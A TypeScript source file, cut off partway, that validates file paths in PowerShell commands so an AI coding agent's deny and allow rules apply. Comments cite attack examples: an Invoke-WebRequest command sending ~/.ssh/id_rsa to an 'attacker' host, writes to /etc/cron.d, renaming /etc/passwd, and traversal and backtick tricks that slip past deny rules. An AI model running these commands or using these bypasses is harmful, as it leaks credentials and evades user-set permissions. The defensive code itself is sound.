Something went wrong. Try again.
source dump of claude code forked from oppi.li/claude-code
Something went wrong. Try again.
73 kB · 2049 lines
TypeScript
at main
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050/** * PowerShell-specific path validation for command arguments. * * Extracts file paths from PowerShell commands using the AST parser * and validates they stay within allowed project directories. * Follows the same patterns as BashTool/pathValidation.ts. */
import { homedir } from 'os'import { isAbsolute, resolve } from 'path'import type { ToolPermissionContext } from '../../Tool.js'import type { PermissionRule } from '../../types/permissions.js'import { getCwd } from '../../utils/cwd.js'import { getFsImplementation, safeResolvePath,} from '../../utils/fsOperations.js'import { containsPathTraversal, getDirectoryForPath } from '../../utils/path.js'import { allWorkingDirectories, checkEditableInternalPath, checkPathSafetyForAutoEdit, checkReadableInternalPath, matchingRuleForInput, pathInAllowedWorkingPath,} from '../../utils/permissions/filesystem.js'import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'import { createReadRuleSuggestion } from '../../utils/permissions/PermissionUpdate.js'import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'import { isDangerousRemovalPath, isPathInSandboxWriteAllowlist,} from '../../utils/permissions/pathValidation.js'import { getPlatform } from '../../utils/platform.js'import type { ParsedCommandElement, ParsedPowerShellCommand,} from '../../utils/powershell/parser.js'import { isNullRedirectionTarget, isPowerShellParameter,} from '../../utils/powershell/parser.js'import { COMMON_SWITCHES, COMMON_VALUE_PARAMS } from './commonParameters.js'import { resolveToCanonical } from './readOnlyValidation.js'
const MAX_DIRS_TO_LIST = 5// PowerShell wildcards are only * ? [ ] — braces are LITERAL characters// (no brace expansion). Including {} mis-routed paths like `./{x}/passwd`// through glob-base truncation instead of full-path symlink resolution.const GLOB_PATTERN_REGEX = /[*?[\]]/
type FileOperationType = 'read' | 'write' | 'create'
type PathCheckResult = { allowed: boolean decisionReason?: import('../../utils/permissions/PermissionResult.js').PermissionDecisionReason}
type ResolvedPathCheckResult = PathCheckResult & { resolvedPath: string}
/** * Per-cmdlet parameter configuration. * * Each entry declares: * - operationType: whether this cmdlet reads or writes to the filesystem * - pathParams: parameters that accept file paths (validated against allowed directories) * - knownSwitches: switch parameters (take NO value) — next arg is NOT consumed * - knownValueParams: value-taking parameters that are NOT paths — next arg IS consumed * but NOT validated as a path (e.g., -Encoding UTF8, -Filter *.txt) * * SECURITY MODEL: Any -Param NOT in one of these three sets forces * hasUnvalidatablePathArg → ask. This ends the KNOWN_SWITCH_PARAMS whack-a-mole * where every missing switch caused the unknown-param heuristic to swallow the * next arg (potentially the positional path). Now, Tier 2 cmdlets only auto-allow * with invocations we fully understand. * * Sources: * - (Get-Command <cmdlet>).Parameters on Windows PowerShell 5.1 * - PS 6+ additions from official docs (e.g., -AsByteStream, -NoEmphasis) * * NOTE: Common parameters (-Verbose, -ErrorAction, etc.) are NOT listed here; * they are merged in from COMMON_SWITCHES / COMMON_VALUE_PARAMS at lookup time. * * Parameter names are lowercase with leading dash to match runtime comparison. */type CmdletPathConfig = { operationType: FileOperationType /** Parameter names that accept file paths (validated against allowed directories) */ pathParams: string[] /** Switch parameters that take no value (next arg is NOT consumed) */ knownSwitches: string[] /** Value-taking parameters that are not paths (next arg IS consumed, not path-validated) */ knownValueParams: string[] /** * Parameter names that accept a leaf filename resolved by PowerShell * relative to ANOTHER parameter (not cwd). Safe to extract only when the * value is a simple leaf (no `/`, `\`, `.`, `..`). Non-leaf values are * flagged as unvalidatable because validatePath resolves against cwd, not * the actual base — joining against -Path would need cross-parameter * tracking. */ leafOnlyPathParams?: string[] /** * Number of leading positional arguments to skip (NOT extracted as paths). * Used for cmdlets where positional-0 is a non-path value — e.g., * Invoke-WebRequest's positional -Uri is a URL, not a local filesystem path. * Without this, `iwr http://example.com` extracts `http://example.com` as * a path, and validatePath's provider-path regex (^[a-z]{2,}:) misfires on * the URL scheme with a confusing "non-filesystem provider" message. */ positionalSkip?: number /** * When true, this cmdlet only writes to disk when a pathParam is present. * Without a path (e.g., `Invoke-WebRequest https://example.com` with no * -OutFile), it's effectively a read operation — output goes to the pipeline, * not the filesystem. Skips the "write with no target path" forced-ask. * Cmdlets like Set-Content that ALWAYS write should NOT set this. */ optionalWrite?: boolean}
const CMDLET_PATH_CONFIG: Record<string, CmdletPathConfig> = { // ─── Write/create operations ────────────────────────────────────────────── 'set-content': { operationType: 'write', // -PSPath and -LP are runtime aliases for -LiteralPath on all provider // cmdlets. Without them, colon syntax (-PSPath:/etc/x) falls to the // unknown-param branch → path trapped → paths=[] → deny never consulted. pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-passthru', '-force', '-whatif', '-confirm', '-usetransaction', '-nonewline', '-asbytestream', // PS 6+ ], knownValueParams: [ '-value', '-filter', '-include', '-exclude', '-credential', '-encoding', '-stream', ], }, 'add-content': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-passthru', '-force', '-whatif', '-confirm', '-usetransaction', '-nonewline', '-asbytestream', // PS 6+ ], knownValueParams: [ '-value', '-filter', '-include', '-exclude', '-credential', '-encoding', '-stream', ], }, 'remove-item': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-recurse', '-force', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: [ '-filter', '-include', '-exclude', '-credential', '-stream', ], }, 'clear-content': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], knownValueParams: [ '-filter', '-include', '-exclude', '-credential', '-stream', ], }, // Out-File/Tee-Object/Export-Csv/Export-Clixml were absent, so path-level // deny rules (Edit(/etc/**)) hard-blocked `Set-Content /etc/x` but only // *asked* for `Out-File /etc/x`. All four are write cmdlets that accept // file paths positionally. 'out-file': { operationType: 'write', // Out-File uses -FilePath (position 0). -Path is PowerShell's documented // ALIAS for -FilePath — must be in pathParams or `Out-File -Path:./x` // (colon syntax, one token) falls to unknown-param → value trapped → // paths=[] → Edit deny never consulted → ask (fail-safe but deny downgrade). pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-append', '-force', '-noclobber', '-nonewline', '-whatif', '-confirm', ], knownValueParams: ['-inputobject', '-encoding', '-width'], }, 'tee-object': { operationType: 'write', // Tee-Object uses -FilePath (position 0, alias: -Path). -Variable NOT a path. pathParams: ['-filepath', '-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-append'], knownValueParams: ['-inputobject', '-variable', '-encoding'], }, 'export-csv': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-append', '-force', '-noclobber', '-notypeinformation', '-includetypeinformation', '-useculture', '-noheader', '-whatif', '-confirm', ], knownValueParams: [ '-inputobject', '-delimiter', '-encoding', '-quotefields', '-usequotes', ], }, 'export-clixml': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-noclobber', '-whatif', '-confirm'], knownValueParams: ['-inputobject', '-depth', '-encoding'], }, // New-Item/Copy-Item/Move-Item were missing: `mkdir /etc/cron.d/evil` → // resolveToCanonical('mkdir') = 'new-item' via COMMON_ALIASES → not in // config → early return {paths:[], 'read'} → Edit deny never consulted. // // Copy-Item/Move-Item have DUAL path params (-Path source, -Destination // dest). operationType:'write' is imperfect — source is semantically a read // — but it means BOTH paths get Edit-deny validation, which is strictly // safer than extracting neither. A per-param operationType would be ideal // but that's a bigger schema change; blunt 'write' closes the gap now. 'new-item': { operationType: 'write', // -Path is position 0. -Name (position 1) is resolved by PowerShell // RELATIVE TO -Path (per MS docs: "you can specify the path of the new // item in Name"), including `..` traversal. We resolve against CWD // (validatePath L930), not -Path — so `New-Item -Path /allowed // -Name ../secret/evil` creates /allowed/../secret/evil = /secret/evil, // but we resolve cwd/../secret/evil which lands ELSEWHERE and can miss // the deny rule. This is a deny→ask downgrade, not fail-safe. // // -name is in leafOnlyPathParams: simple leaf filenames (`foo.txt`) are // extracted (resolves to cwd/foo.txt — slightly wrong, but -Path // extraction covers the directory, and a leaf can't traverse); // any value with `/`, `\`, `.`, `..` flags hasUnvalidatablePathArg → // ask. Joining -Name against -Path would be correct but needs // cross-parameter tracking — out of scope here. pathParams: ['-path', '-literalpath', '-pspath', '-lp'], leafOnlyPathParams: ['-name'], knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], knownValueParams: ['-itemtype', '-value', '-credential', '-type'], }, 'copy-item': { operationType: 'write', // -Path (position 0) is source, -Destination (position 1) is dest. // Both extracted; both validated as write. pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'], knownSwitches: [ '-container', '-force', '-passthru', '-recurse', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: [ '-filter', '-include', '-exclude', '-credential', '-fromsession', '-tosession', ], }, 'move-item': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destination'], knownSwitches: [ '-force', '-passthru', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: ['-filter', '-include', '-exclude', '-credential'], }, // rename-item/set-item: same class — ren/rni/si in COMMON_ALIASES, neither // was in config. `ren /etc/passwd passwd.bak` → resolves to rename-item // → not in config → {paths:[], 'read'} → Edit deny bypassed. This closes // the COMMON_ALIASES→CMDLET_PATH_CONFIG coverage audit: every // write-cmdlet alias now resolves to a config entry. 'rename-item': { operationType: 'write', // -Path position 0, -NewName position 1. -NewName is leaf-only (docs: // "You cannot specify a new drive or a different path") and Rename-Item // explicitly rejects `..` in it — so knownValueParams is correct here, // unlike New-Item -Name which accepts traversal. pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-force', '-passthru', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: [ '-newname', '-credential', '-filter', '-include', '-exclude', ], }, 'set-item': { operationType: 'write', // FileSystem provider throws NotSupportedException for Set-Item content, // so the practical write surface is registry/env/function/alias providers. // Provider-qualified paths (HKLM:\\, Env:\\) are independently caught at // step 3.5 in powershellPermissions.ts, but classifying set-item as write // here is defense-in-depth — powershellSecurity.ts:379 already lists it // in ENV_WRITE_CMDLETS; this makes pathValidation consistent. pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-force', '-passthru', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: [ '-value', '-credential', '-filter', '-include', '-exclude', ], }, // ─── Read operations ────────────────────────────────────────────────────── 'get-content': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-force', '-usetransaction', '-wait', '-raw', '-asbytestream', // PS 6+ ], knownValueParams: [ '-readcount', '-totalcount', '-tail', '-first', // alias for -TotalCount '-head', // alias for -TotalCount '-last', // alias for -Tail '-filter', '-include', '-exclude', '-credential', '-delimiter', '-encoding', '-stream', ], }, 'get-childitem': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-recurse', '-force', '-name', '-usetransaction', '-followsymlink', '-directory', '-file', '-hidden', '-readonly', '-system', ], knownValueParams: [ '-filter', '-include', '-exclude', '-depth', '-attributes', '-credential', ], }, 'get-item': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-usetransaction'], knownValueParams: [ '-filter', '-include', '-exclude', '-credential', '-stream', ], }, 'get-itemproperty': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-usetransaction'], knownValueParams: [ '-name', '-filter', '-include', '-exclude', '-credential', ], }, 'get-itempropertyvalue': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-usetransaction'], knownValueParams: [ '-name', '-filter', '-include', '-exclude', '-credential', ], }, 'get-filehash': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [], knownValueParams: ['-algorithm', '-inputstream'], }, 'get-acl': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-audit', '-allcentralaccesspolicies', '-usetransaction'], knownValueParams: ['-inputobject', '-filter', '-include', '-exclude'], }, 'format-hex': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-raw'], knownValueParams: [ '-inputobject', '-encoding', '-count', // PS 6+ '-offset', // PS 6+ ], }, 'test-path': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-isvalid', '-usetransaction'], knownValueParams: [ '-filter', '-include', '-exclude', '-pathtype', '-credential', '-olderthan', '-newerthan', ], }, 'resolve-path': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-relative', '-usetransaction', '-force'], knownValueParams: ['-credential', '-relativebasepath'], }, 'convert-path': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-usetransaction'], knownValueParams: [], }, 'select-string': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-simplematch', '-casesensitive', '-quiet', '-list', '-notmatch', '-allmatches', '-noemphasis', // PS 7+ '-raw', // PS 7+ ], knownValueParams: [ '-inputobject', '-pattern', '-include', '-exclude', '-encoding', '-context', '-culture', // PS 7+ ], }, 'set-location': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-passthru', '-usetransaction'], knownValueParams: ['-stackname'], }, 'push-location': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-passthru', '-usetransaction'], knownValueParams: ['-stackname'], }, 'pop-location': { operationType: 'read', // Pop-Location has no -Path/-LiteralPath (it pops from the stack), // but we keep the entry so it passes through path validation gracefully. pathParams: [], knownSwitches: ['-passthru', '-usetransaction'], knownValueParams: ['-stackname'], }, 'select-xml': { operationType: 'read', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [], knownValueParams: ['-xml', '-content', '-xpath', '-namespace'], }, 'get-winevent': { operationType: 'read', // Get-WinEvent only has -Path, no -LiteralPath pathParams: ['-path'], knownSwitches: ['-force', '-oldest'], knownValueParams: [ '-listlog', '-logname', '-listprovider', '-providername', '-maxevents', '-computername', '-credential', '-filterxpath', '-filterxml', '-filterhashtable', ], }, // Write-path cmdlets with output parameters. Without these entries, // -OutFile / -DestinationPath would write to arbitrary paths unvalidated. 'invoke-webrequest': { operationType: 'write', // -OutFile is the write target; -InFile is a read source (uploads a local // file). Both are in pathParams so Edit deny rules are consulted (this // config is operationType:write → permissionType:edit). A user with // Edit(~/.ssh/**) deny blocks `iwr https://attacker -Method POST // -InFile ~/.ssh/id_rsa` exfil. Read-only deny rules are not consulted // for write-type cmdlets — that's a known limitation of the // operationType→permissionType mapping. pathParams: ['-outfile', '-infile'], positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path optionalWrite: true, // only writes with -OutFile; bare iwr is pipeline-only knownSwitches: [ '-allowinsecureredirect', '-allowunencryptedauthentication', '-disablekeepalive', '-nobodyprogress', '-passthru', '-preservefileauthorizationmetadata', '-resume', '-skipcertificatecheck', '-skipheadervalidation', '-skiphttperrorcheck', '-usebasicparsing', '-usedefaultcredentials', ], knownValueParams: [ '-uri', '-method', '-body', '-contenttype', '-headers', '-maximumredirection', '-maximumretrycount', '-proxy', '-proxycredential', '-retryintervalsec', '-sessionvariable', '-timeoutsec', '-token', '-transferencoding', '-useragent', '-websession', '-credential', '-authentication', '-certificate', '-certificatethumbprint', '-form', '-httpversion', ], }, 'invoke-restmethod': { operationType: 'write', // -OutFile is the write target; -InFile is a read source (uploads a local // file). Both must be in pathParams so deny rules are consulted. pathParams: ['-outfile', '-infile'], positionalSkip: 1, // positional-0 is -Uri (URL), not a filesystem path optionalWrite: true, // only writes with -OutFile; bare irm is pipeline-only knownSwitches: [ '-allowinsecureredirect', '-allowunencryptedauthentication', '-disablekeepalive', '-followrellink', '-nobodyprogress', '-passthru', '-preservefileauthorizationmetadata', '-resume', '-skipcertificatecheck', '-skipheadervalidation', '-skiphttperrorcheck', '-usebasicparsing', '-usedefaultcredentials', ], knownValueParams: [ '-uri', '-method', '-body', '-contenttype', '-headers', '-maximumfollowrellink', '-maximumredirection', '-maximumretrycount', '-proxy', '-proxycredential', '-responseheaderstvariable', '-retryintervalsec', '-sessionvariable', '-statuscodevariable', '-timeoutsec', '-token', '-transferencoding', '-useragent', '-websession', '-credential', '-authentication', '-certificate', '-certificatethumbprint', '-form', '-httpversion', ], }, 'expand-archive': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'], knownSwitches: ['-force', '-passthru', '-whatif', '-confirm'], knownValueParams: [], }, 'compress-archive': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp', '-destinationpath'], knownSwitches: ['-force', '-update', '-passthru', '-whatif', '-confirm'], knownValueParams: ['-compressionlevel'], }, // *-ItemProperty cmdlets: primary use is the Registry provider (set/new/ // remove a registry VALUE under a key). Provider-qualified paths (HKLM:\, // HKCU:\) are independently caught at step 3.5 in powershellPermissions.ts. // Entries here are defense-in-depth for Edit-deny-rule consultation, mirroring // set-item's rationale. 'set-itemproperty': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-passthru', '-force', '-whatif', '-confirm', '-usetransaction', ], knownValueParams: [ '-name', '-value', '-type', '-filter', '-include', '-exclude', '-credential', '-inputobject', ], }, 'new-itemproperty': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], knownValueParams: [ '-name', '-value', '-propertytype', '-type', '-filter', '-include', '-exclude', '-credential', ], }, 'remove-itemproperty': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], knownValueParams: [ '-name', '-filter', '-include', '-exclude', '-credential', ], }, 'clear-item': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: ['-force', '-whatif', '-confirm', '-usetransaction'], knownValueParams: ['-filter', '-include', '-exclude', '-credential'], }, 'export-alias': { operationType: 'write', pathParams: ['-path', '-literalpath', '-pspath', '-lp'], knownSwitches: [ '-append', '-force', '-noclobber', '-passthru', '-whatif', '-confirm', ], knownValueParams: ['-name', '-description', '-scope', '-as'], },}
/** * Checks if a lowercase parameter name (with leading dash) matches any entry * in the given param list, accounting for PowerShell's prefix-matching behavior * (e.g., -Lit matches -LiteralPath). */function matchesParam(paramLower: string, paramList: string[]): boolean { for (const p of paramList) { if ( p === paramLower || (paramLower.length > 1 && p.startsWith(paramLower)) ) { return true } } return false}
/** * Returns true if a colon-syntax value contains expression constructs that * mask the real runtime path (arrays, subexpressions, variables, backtick * escapes). The outer CommandParameterAst 'Parameter' element type hides * these from our AST walk, so we must detect them textually. * * Used in three branches of extractPathsFromCommand: pathParams, * leafOnlyPathParams, and the unknown-param defense-in-depth branch. */function hasComplexColonValue(rawValue: string): boolean { return ( rawValue.includes(',') || rawValue.startsWith('(') || rawValue.startsWith('[') || rawValue.includes('`') || rawValue.includes('@(') || rawValue.startsWith('@{') || rawValue.includes('$') )}
function formatDirectoryList(directories: string[]): string { const dirCount = directories.length if (dirCount <= MAX_DIRS_TO_LIST) { return directories.map(dir => `'${dir}'`).join(', ') } const firstDirs = directories .slice(0, MAX_DIRS_TO_LIST) .map(dir => `'${dir}'`) .join(', ') return `${firstDirs}, and ${dirCount - MAX_DIRS_TO_LIST} more`}
/** * Expands tilde (~) at the start of a path to the user's home directory. */function expandTilde(filePath: string): string { if ( filePath === '~' || filePath.startsWith('~/') || filePath.startsWith('~\\') ) { return homedir() + filePath.slice(1) } return filePath}
/** * Checks the raw user-provided path (pre-realpath) for dangerous removal * targets. safeResolvePath/realpathSync canonicalizes in ways that defeat * isDangerousRemovalPath: on Windows '/' → 'C:\' (fails the === '/' check); * on macOS homedir() may be under /var which realpathSync rewrites to * /private/var (fails the === homedir() check). Checking the tilde-expanded, * backslash-normalized form catches the dangerous shapes (/, ~, /etc, /usr) * as the user typed them. */export function isDangerousRemovalRawPath(filePath: string): boolean { const expanded = expandTilde(filePath.replace(/^['"]|['"]$/g, '')).replace( /\\/g, '/', ) return isDangerousRemovalPath(expanded)}
export function dangerousRemovalDeny(path: string): PermissionResult { return { behavior: 'deny', message: `Remove-Item on system path '${path}' is blocked. This path is protected from removal.`, decisionReason: { type: 'other', reason: 'Removal targets a protected system path', }, }}
/** * Checks if a resolved path is allowed for the given operation type. * Mirrors the logic in BashTool/pathValidation.ts isPathAllowed. */function isPathAllowed( resolvedPath: string, context: ToolPermissionContext, operationType: FileOperationType, precomputedPathsToCheck?: readonly string[],): PathCheckResult { const permissionType = operationType === 'read' ? 'read' : 'edit'
// 1. Check deny rules first const denyRule = matchingRuleForInput( resolvedPath, context, permissionType, 'deny', ) if (denyRule !== null) { return { allowed: false, decisionReason: { type: 'rule', rule: denyRule }, } }
// 2. For write/create operations, check internal editable paths (plan files, scratchpad, agent memory, job dirs) // This MUST come before checkPathSafetyForAutoEdit since .claude is a dangerous directory // and internal editable paths live under ~/.claude/ — matching the ordering in // checkWritePermissionForTool (filesystem.ts step 1.5) if (operationType !== 'read') { const internalEditResult = checkEditableInternalPath(resolvedPath, {}) if (internalEditResult.behavior === 'allow') { return { allowed: true, decisionReason: internalEditResult.decisionReason, } } }
// 2.5. For write/create operations, check safety validations if (operationType !== 'read') { const safetyCheck = checkPathSafetyForAutoEdit( resolvedPath, precomputedPathsToCheck, ) if (!safetyCheck.safe) { return { allowed: false, decisionReason: { type: 'safetyCheck', reason: safetyCheck.message, classifierApprovable: safetyCheck.classifierApprovable, }, } } }
// 3. Check if path is in allowed working directory const isInWorkingDir = pathInAllowedWorkingPath( resolvedPath, context, precomputedPathsToCheck, ) if (isInWorkingDir) { if (operationType === 'read' || context.mode === 'acceptEdits') { return { allowed: true } } }
// 3.5. For read operations, check internal readable paths if (operationType === 'read') { const internalReadResult = checkReadableInternalPath(resolvedPath, {}) if (internalReadResult.behavior === 'allow') { return { allowed: true, decisionReason: internalReadResult.decisionReason, } } }
// 3.7. For write/create operations to paths OUTSIDE the working directory, // check the sandbox write allowlist. When the sandbox is enabled, users // have explicitly configured writable directories (e.g. /tmp/claude/) — // treat these as additional allowed write directories so redirects/Out-File/ // New-Item don't prompt unnecessarily. Paths IN the working directory are // excluded: the sandbox allowlist always seeds '.' (cwd), which would // bypass the acceptEdits gate at step 3. if ( operationType !== 'read' && !isInWorkingDir && isPathInSandboxWriteAllowlist(resolvedPath) ) { return { allowed: true, decisionReason: { type: 'other', reason: 'Path is in sandbox write allowlist', }, } }
// 4. Check allow rules const allowRule = matchingRuleForInput( resolvedPath, context, permissionType, 'allow', ) if (allowRule !== null) { return { allowed: true, decisionReason: { type: 'rule', rule: allowRule }, } }
// 5. Path is not allowed return { allowed: false }}
/** * Best-effort deny check for paths obscured by :: or backtick syntax. * ONLY checks deny rules — never auto-allows. If the stripped guess * doesn't match a deny rule, we fall through to ask as before. */function checkDenyRuleForGuessedPath( strippedPath: string, cwd: string, toolPermissionContext: ToolPermissionContext, operationType: FileOperationType,): { resolvedPath: string; rule: PermissionRule } | null { // Red-team P7: null bytes make expandPath throw. Pre-existing but // defend here since we're introducing a new call path. if (!strippedPath || strippedPath.includes('\0')) return null // Red-team P3: `~/.ssh/x strips to ~/.ssh/x but expandTilde only fires // on leading ~ — the backtick was in front of it. Re-run here. const tildeExpanded = expandTilde(strippedPath) const abs = isAbsolute(tildeExpanded) ? tildeExpanded : resolve(cwd, tildeExpanded) const { resolvedPath } = safeResolvePath(getFsImplementation(), abs) const permissionType = operationType === 'read' ? 'read' : 'edit' const denyRule = matchingRuleForInput( resolvedPath, toolPermissionContext, permissionType, 'deny', ) return denyRule ? { resolvedPath, rule: denyRule } : null}
/** * Validates a file system path, handling tilde expansion. */function validatePath( filePath: string, cwd: string, toolPermissionContext: ToolPermissionContext, operationType: FileOperationType,): ResolvedPathCheckResult { // Remove surrounding quotes if present const cleanPath = expandTilde(filePath.replace(/^['"]|['"]$/g, ''))
// SECURITY: PowerShell Core normalizes backslashes to forward slashes on all // platforms, but path.resolve on Linux/Mac treats them as literal characters. // Normalize before resolution so traversal patterns like dir\..\..\etc\shadow // are correctly detected. const normalizedPath = cleanPath.replace(/\\/g, '/')
